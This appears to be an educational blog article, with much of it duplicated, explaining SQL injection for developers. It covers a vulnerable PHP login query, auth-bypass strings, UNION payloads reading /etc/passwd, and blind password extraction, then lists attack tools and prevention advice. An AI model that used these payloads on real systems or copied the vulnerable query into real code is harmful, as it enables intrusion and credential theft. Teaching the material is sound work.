If we ask developers about the SQL injection attacks, the examples known to them are the most basic ones, like the ones existing in the login forms. However, the OWASP 2010 vulnerability list (http://www.owasp.org/images/0/0f/OWASP_T10_-_2010_rc1.pdf) clearly puts the injection vulnerabilities on the top. The SQL injection vulnerabilities may exist at anyplace in the applications where the interaction with the database is involved. Now, if you are a developer, you might need to exercise your mind, that where your application is interacting with the database, after reading this article hopefully.
SQL Injection vulnerabilities can occur wherever the user supplied input interacts with the database and has the power to modify the SQL. This can range from a variety of applications like shopping cart, banking, cms etc. There are plenty of databases used around, and the top ones on the list include MS-SQL, Oracle, MySQL. Though, they are different, but at the core, they use the same Structured Query Language. SQL is an interpreted language, and web applications use the SQL to create the queries to interact with the database. If this is not done safely, the result may be the SQL injection
Vulnerable codes: Login
Now, this is the most common example, which has now become a game of the past. This is not generally found nowadays. Consider the following HTML code, which shows the login page:
<form action="login.php" method="post">
<p>Username:<br /><input name="username" /></p>
<p>Password:<br /><input name="pass" /></p>
<p><input name="submit" value="submit" /></p>
</form>
And following is the PHP page which is vulnerable to SQL injection:
<?php
$sql = mysql_query("
SELECT * FROM users_table WHERE
username = '{$_POST['username']}' AND
password= '{$_POST['pass']}'
");
?>
This can be easily exploited by giving the value of username as ' or 1=1-- . By giving this input as username, and password as any random password”, the query becomes:
SELECT * FROM users_table WHERE
username = '' or 1=1 -- AND
password= '{$_POST['pass']}'
So, the query after 1=1-- becomes comments and the malicious user is able to execute the sql at his own will, leading to the successful login. There are many more possibilities like
admin'-- , admin' or '1'='1, the only thing required is to be creative.
<p>Username:<br /><input name="username" /></p>
<p>Password:<br /><input name="pass" /></p>
<p><input name="submit" value="submit" /></p>
</form>
And following is the PHP page which is vulnerable to SQL injection:
<?php
$sql = mysql_query("
SELECT * FROM users_table WHERE
username = '{$_POST['username']}' AND
password= '{$_POST['pass']}'
");
?>
This can be easily exploited by giving the value of username as ' or 1=1-- . By giving this input as username, and password as any random password”, the query becomes:
SELECT * FROM users_table WHERE
username = '' or 1=1 -- AND
password= '{$_POST['pass']}'
So, the query after 1=1-- becomes comments and the malicious user is able to execute the sql at his own will, leading to the successful login. There are many more possibilities like
admin'-- , admin' or '1'='1, the only thing required is to be creative.
Vulnerable codes: URL
URLs are the most often overlooked for SQL injection vulnerabilities. This is the reason they are still found in wild. Consider a URL:
http://www.example.com/aa.php?id=10
Now suppose, that this parameter “id” is taken by the PHP code as the following to make the SQL:
Select username, address, phone, email, post from table_details where id=10;
This will return the username, address, phone, email, and post from the table table_details. If the malicious user was to tamper with the “id” parameter and give it the following value:
id=-1+union+all+select+1,2,3,4--
Select username, address, phone, email, post from table_details where id= -1 union all select 1,2,3,4--
If the id doesn’t have a value -1, this will lead to the left side of the union getting false, hence, the right side of the union gets executed.
So, all the places on the web page, where the columns 1,2,3,4 are being used to display the data, values 1, 2, 3 or 4 will be shown in that place. The attack can be modified to do the following:
id=-1+union+all+select+1,@@version,3,4-- //Displays the MySQL version where the “2” was being //shown earlier
id=-1+union+all+select+1,2,user(),4-- //Displays the current user where the “3” was shown earlier
id=-1+union+all+select+1,2,system_user(),4-- //Displays the system user
id=-1+union+all+select+1,2,LOAD_FILE('/etc/passwd') ,4-- //Displays etc/passwd file contents
Much more exciting stuff is possible. Visit http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/ for the mysql injection cheatsheet.
SQL injections can be classified on the basis of whether they show the errors or not. Following is the classfication
1. Error Based SQL injections
2. Blind SQL injections
http://www.example.com/aa.php?id=10
Now suppose, that this parameter “id” is taken by the PHP code as the following to make the SQL:
Select username, address, phone, email, post from table_details where id=10;
This will return the username, address, phone, email, and post from the table table_details. If the malicious user was to tamper with the “id” parameter and give it the following value:
id=-1+union+all+select+1,2,3,4--
Select username, address, phone, email, post from table_details where id= -1 union all select 1,2,3,4--
If the id doesn’t have a value -1, this will lead to the left side of the union getting false, hence, the right side of the union gets executed.
So, all the places on the web page, where the columns 1,2,3,4 are being used to display the data, values 1, 2, 3 or 4 will be shown in that place. The attack can be modified to do the following:
id=-1+union+all+select+1,@@version,3,4-- //Displays the MySQL version where the “2” was being //shown earlier
id=-1+union+all+select+1,2,user(),4-- //Displays the current user where the “3” was shown earlier
id=-1+union+all+select+1,2,system_user(),4-- //Displays the system user
id=-1+union+all+select+1,2,LOAD_FILE('/etc/passwd') ,4-- //Displays etc/passwd file contents
Much more exciting stuff is possible. Visit http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/ for the mysql injection cheatsheet.
SQL injections can be classified on the basis of whether they show the errors or not. Following is the classfication
1. Error Based SQL injections
2. Blind SQL injections
Error based SQL injection
This is a form of SQL injection, which in which error message is thrown when the invalid input invalidates SQL query. I will consider the union based SQL injections once again:
Consider the url :
http://www.example.com/aa.php?id=10
Consider the url :
http://www.example.com/aa.php?id=10
Steps to check for SQL injection:
1.Add a quote to the id parameter value. So, the url becomes:
http://www.example.com/aa.php?id=10'
2. If this leads to an error message, something like "You have an error in your SQL syntax......" or something similar, this means that the parameter "id" is robably vulnerable to sql injection.
3. Number of columns can be found using:
http://www.example.com/aa.php?id=10 order by 1-- //throws error
http://www.example.com/aa.php?id=10 order by 2-- //throws error
http://www.example.com/aa.php?id=10 order by 3-- //throws error
http://www.example.com/aa.php?id=10 order by 4-- //no error
Because no error was thrown in the forth case, this can be implied that the number of columns fetched is 4.
4. We can proceed now with the method detailed in the Vulnerable codes:URL section
http://www.example.com/aa.php?id=10'
2. If this leads to an error message, something like "You have an error in your SQL syntax......" or something similar, this means that the parameter "id" is robably vulnerable to sql injection.
3. Number of columns can be found using:
http://www.example.com/aa.php?id=10 order by 1-- //throws error
http://www.example.com/aa.php?id=10 order by 2-- //throws error
http://www.example.com/aa.php?id=10 order by 3-- //throws error
http://www.example.com/aa.php?id=10 order by 4-- //no error
Because no error was thrown in the forth case, this can be implied that the number of columns fetched is 4.
4. We can proceed now with the method detailed in the Vulnerable codes:URL section
Blind SQL injections
This technique is used when no errors are shown (or have been disabled). This technique relies on the output of true or false conditions using the queries. Its something like, you are asking the database a question, and if the question asked is correct, the response is, say “A”. If the question asked to the database is wrong, response “B” is shown.
Consider the url:
http://www.example.com/aa.php?id=10
we change it to:
http://www.example.com/aa.php?id=10 and 1=1--
If theresult of the page is same as the page http://www.example.com/aa.php?id=10 , then blind sql injection might be possible.
However, to confirm the blind sql injection, use the following:
http://www.example.com/aa.php?id=10 and 1=2--
Because the condition 1=2 is always false and has been “ANDed” with the true condition, the resultant condition would be false. If the page shown is different, this confirms the blind SQL injection. The question is how to extract data using this technique. This can be done by asking the questions to Database. e.g.
Lets start guessing the table names.
http://www.example.com/aa.php?id=10 and (select count(*) from user);
If the above query returns the same page as the http://www.example.com/aa.php?id=10
, this means the table "user" exists. If some other page is shown, means the table doesn’t exist.
Similarly, other tables can be tried:
http://www.example.com/aa.php?id=10 and (select count(*) from table2);
//if table2 exists, the same page
http://www.example.com/aa.php?id=10 and (select count(*) from table3);
//if table 3 doesn’t exist, some other page
Suppose, you have found out the table name admin, you can try out the following for the password:
http://www.example.com/aa.php?id=10 and (select length(password) from user where id=10)<6;
If this yields the same page, means the password is less than 6 char. If some other page, means password length is more than 6 chars
The next thing that can be targetted is the password itself. The following will do it:
http://www.example.com/aa.php?id=10 and ascii(substring((select password from user_table where id=10),1,1)=65
This will extract the first character of the password column where the id is 10, and if the character is 'A' (ascii 65), the condition will be true, leading to the current(same) page. If its not "A", some other page will be shown.
Consider the url:
http://www.example.com/aa.php?id=10
we change it to:
http://www.example.com/aa.php?id=10 and 1=1--
If theresult of the page is same as the page http://www.example.com/aa.php?id=10 , then blind sql injection might be possible.
However, to confirm the blind sql injection, use the following:
http://www.example.com/aa.php?id=10 and 1=2--
Because the condition 1=2 is always false and has been “ANDed” with the true condition, the resultant condition would be false. If the page shown is different, this confirms the blind SQL injection. The question is how to extract data using this technique. This can be done by asking the questions to Database. e.g.
Lets start guessing the table names.
http://www.example.com/aa.php?id=10 and (select count(*) from user);
If the above query returns the same page as the http://www.example.com/aa.php?id=10
, this means the table "user" exists. If some other page is shown, means the table doesn’t exist.
Similarly, other tables can be tried:
http://www.example.com/aa.php?id=10 and (select count(*) from table2);
//if table2 exists, the same page
http://www.example.com/aa.php?id=10 and (select count(*) from table3);
//if table 3 doesn’t exist, some other page
Suppose, you have found out the table name admin, you can try out the following for the password:
http://www.example.com/aa.php?id=10 and (select length(password) from user where id=10)<6;
If this yields the same page, means the password is less than 6 char. If some other page, means password length is more than 6 chars
The next thing that can be targetted is the password itself. The following will do it:
http://www.example.com/aa.php?id=10 and ascii(substring((select password from user_table where id=10),1,1)=65
This will extract the first character of the password column where the id is 10, and if the character is 'A' (ascii 65), the condition will be true, leading to the current(same) page. If its not "A", some other page will be shown.
Tools for SQL injections:
SQL injection tools are available in the market, most of them being freeware. You can try out your hands on these tools. A few of the popular ones include:
1. Pangolin(commercial)
2.SQL ninja
3.Absinthe
4.bsql hacker
5.SQLmap
6.Darksqli.py
7.SQLIer
8.SQLbfTools
9.SQL injector Brute forcer
10.SQL brute
11.BobCat
The list is not limited to the above tools, as many more exist for the same.
1. Pangolin(commercial)
2.SQL ninja
3.Absinthe
4.bsql hacker
5.SQLmap
6.Darksqli.py
7.SQLIer
8.SQLbfTools
9.SQL injector Brute forcer
10.SQL brute
11.BobCat
The list is not limited to the above tools, as many more exist for the same.
Preventing SQL injections
Following points should be kept in mind whenever dealing with the SQL with web language:
1. Use parameterised queries.
2. Use stored procedures
3. Sensitive data should be encrypted. This provides a second layer of protection.
4. Input validation. Harmful characters like single quotes should be removed before inserting into query
5. Error messages should not be thrown, which reveals the information about the database schema
6. Installation and access of database using the least privileges. (Principle of Least Privileges)
1. Use parameterised queries.
2. Use stored procedures
3. Sensitive data should be encrypted. This provides a second layer of protection.
4. Input validation. Harmful characters like single quotes should be removed before inserting into query
5. Error messages should not be thrown, which reveals the information about the database schema
6. Installation and access of database using the least privileges. (Principle of Least Privileges)
Disclaimer
The information provided in this article is purely for educational purpose and for computer security awareness. The views expressed in this article are purely based on my experience and does not reflect the views of my present or past employers. The author does not promote computer hacking in any way or the misuse of this information against any individual or organization. Computer hacking and identity theft is a punishable offense. The author can not be held liable for any kind of damages done whatsoever to your machine, or damages caused by the use of information provided in this article. By reading this article you agree to those terms.
About the Author
Saurabh is a senior active member of ‘null (Open Security Community)’ and has presented several papers on application security and reverse engineering including key topics like ‘Dynamic Analysis of Malwares’, ‘Static Analysis of Executables’. He is working in Infosys Technologies Limited and is senior member of null Bangalore chapter (www.null.co.in).
RSS Feed